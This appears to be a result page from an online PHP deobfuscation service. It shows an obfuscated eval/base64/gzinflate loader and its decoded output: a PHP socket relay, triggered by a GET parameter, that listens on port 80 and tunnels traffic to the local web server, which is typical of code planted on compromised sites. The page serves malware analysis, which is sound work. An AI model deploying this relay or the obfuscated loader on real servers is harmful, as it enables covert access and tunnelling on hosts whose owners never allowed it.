Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHEq3YDfyaqWzekVBsUs45s2TBJeecvt..

Decoded Output download

<?php
class select {
    var $sockets;
    function select($sockets) {
        $this->sockets = array();
        foreach ($sockets as $socket) {
            $this->add($socket);
        }
    }
    function add($add_socket) {
        $this->sockets[] = $add_socket;
    }
    function remove($remove_socket) {
        $tmp_sockets = array();
        foreach ($this->sockets as $socket) {
            if ($remove_socket != $socket) {
                $tmp_sockets[] = $socket;
            }
        }
        $this->sockets = $tmp_sockets;
    }
    function can_read($timeout) {
        $read = $this->sockets;
        socket_select($read, $write = NULL, $except = NULL, $timeout);
        return $read;
    }
    function can_write($timeout) {
        $write = $this->sockets;
        socket_select($read = NULL, $write, $except = NULL, $timeout);
        return $write;
    }
}
set_time_limit(0);
ob_end_clean();
ob_implicit_flush(true);
if (!isset($_GET["listen_ip"])) {
    exit;
}
if ($_GET["listen_ip"] == "") {
    exit;
}
$listen_ip = $_GET["listen_ip"];
$listen_port = 80;
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
socket_bind($listen_sock, $listen_ip, $listen_port);
socket_listen($listen_sock);
echo "listen on " . htmlentities($listen_ip) . " :" . $listen_port . "<br />";
$check_socks = array($listen_sock);
$socket_maps1 = array();
$socket_maps2 = array();
$select = new select($check_socks);
while (true) {
    foreach ($select->can_read(1) as $socket) {
        if ($socket == $listen_sock) {
            $new_client = socket_accept($listen_sock);
            $select->add($new_client);
            socket_getpeername($new_client, $ip, $port);
            echo "New client connected: $ip, $port<br />";
            $server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            socket_connect($server_sock, "127.0.0.1", $listen_port);
            $socket_maps1[$new_client] = $server_sock;
            $socket_maps2[$server_sock] = $new_client;
            $select->add($server_sock);
        } else {
            $client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
            if ($client_data === false) {
                socket_close($socket);
                $select->remove($socket);
                echo "client disconnected.<br />";
                continue;
            }
            if (in_array($socket, array_keys($socket_maps1))) {
                if (!socket_write($socket_maps1[$socket], $client_data)) {
                    socket_close($socket);
                    socket_close($socket_maps1[$socket]);
                    $select->remove($socket);
                    $select->remove($socket_maps1[$socket]);
                    print "Write to server error.<br />";
                }
                print htmlentities($client_data) . "</b><br />";
            } elseif (in_array($socket, array_keys($socket_maps2))) {
                if (!socket_write($socket_maps2[$socket], $client_data)) {
                    socket_close($socket);
                    socket_close($socket_maps2[$socket]);
                    $select->remove($socket);
                    $select->remove($socket_maps2[$socket]);
                    print "Write to client error.<br />";
                }
                print htmlentities($client_data) . "</b><br />";
            }
        }
    }
}
?>

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHEq3YDfyaqWzekVBsUs45s2TBJeecvt4w9l1DFzg6TkVqWCz1Y//Z+iNM76Fc/oxQsWDIf+ZyV+flQj40SH7//+ZiUltAoBgIW0frAP4LZdxdux5DLh/00EHt0dZoUbAwEzV0rAei7SSpz4kLk2Nett7h0fQjouL3/sOqvyBwIpJ7KpN1fR+8t+81SDCpMxqK3KsSqgBDj7QYwNufP9hq976/g4WsUK2Dif0kRvLCR4hG7Z/1QzcEaEjl9SGZPc0j4VdWx/50gfp5dixhEfmwjzAetglYlgq7iuXSI4fG0yB0xL8D93YvWeIcht/27iW+dSHNW4jIw3J4+DaeZJ1bwIq+G5kuE8bA307FgBhav5Sm4DV9X5Xvo4hKAswZMPSdMd6D7KqAcQsSjl/pZvOTmZpwPueIkC83i4HO4TUxnxFcTIs+BdTKR2uIAr1MN8OKXRXrHEaarzrw44R6YCPImQjowvpRKdEqQ/SpQI7j+3pRezBDp0iQj9MIKxF7j+DQNggSNC2aPaoiOQqw7zOnePfsFjfUwaVt2I04lboEMO+iV9P2CodQUkNvfgcahfVQ8Nuc/JPd0IDtSQ6fj7Mo3mp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+8iNd+pM0C6CgFL4VKWQiaHGR6BexGOyEPH4C8QpQCzR/xYhIvMwQa6UWeVBX5RHyJcQNQDDQcXU9N7XfBJ6klRCCCfYCvnhsh3hgD9Hgwcy+pYxpJB3D0N7d9gcogU0994rYE80IgWeLzfFeVlEiJUr2pmKh1G+WEcOamWu1KB2aSGLboDD8XQKNiPDp+fbPJp+DjpZzz25WvlVZkp93EjUQoww7kakBMaGK5pF34+ZTJ52w0NfO3Lzy5ry6Xd3OhKaNwlK8/T5vP4mdUvvz8nd/AGedG32mA3nqGB/XV7w6XpiH29II5UL/c0zTLQqLz+nibSDd0SLfoRMD7Akl5MmN/rNfvgwFvVR5NXoyzADcANUe99HC4SPOIQmQ+WwVJe7BQQooyspFslflsDb4JLGe7Cq+T1ksKB/ieV4fVi6DyLPdz3QAnCV/LQCEhdtxUE5oWwlxLR9z0jnwntCWTuq61JPQ8lbktrRtotfAUd50gxrXPIT/YQpJR1jT4WG2Q8i+FIJuv9Bo1xMPZ8+MXuTMMo70sXiHtJwoVNKAQuY0ehZ2lnMI3kJn49Gs8ZOqDQzjkFCorOje3zFUq60YU0f2AonIL5LEOKMTYxvz2plLDiVHL+C2dYePnZ971aF803Etelo/bxEC/+mUXID75DZqCW+YD+y6NEieXRjejDaxTTSRMpa8jTcmBxTM5mXO+pkA2Mdf62M57q0812/pytrWFS5BZeSvYDAaM2pVWfCtIxuAIYCj3r+B1FP02/WeGv/g7UfV9z0y+Jtiw/vkqURj7W2Q8XXeOdQ3SdN3RQBmDQj+RdNb85ABoSJLutwXxlFW2pW23zI8ZShRZkPtamBOvKOSJTbnP35ZD5noHWJnEDrytyIDuypUtVZYw7taCtn49k8mHv+ZP2ohd50adU9AHvM1xbSzfadN3V6VcfTyWe35ELcMb9rWeI/YOtYgoj82xJTss/b5PgTj+XZN/DvH3v97fv/8L')))));
?>

Function Calls

rawurldecode 1
base64_decode 18
strrev 3
gzuncompress 4
gzinflate 11
str_rot13 11

Variables

None

Stats

MD5 5e65a292c874650bebef84b2bc2f819f
Eval Count 16
Decode Time 183 ms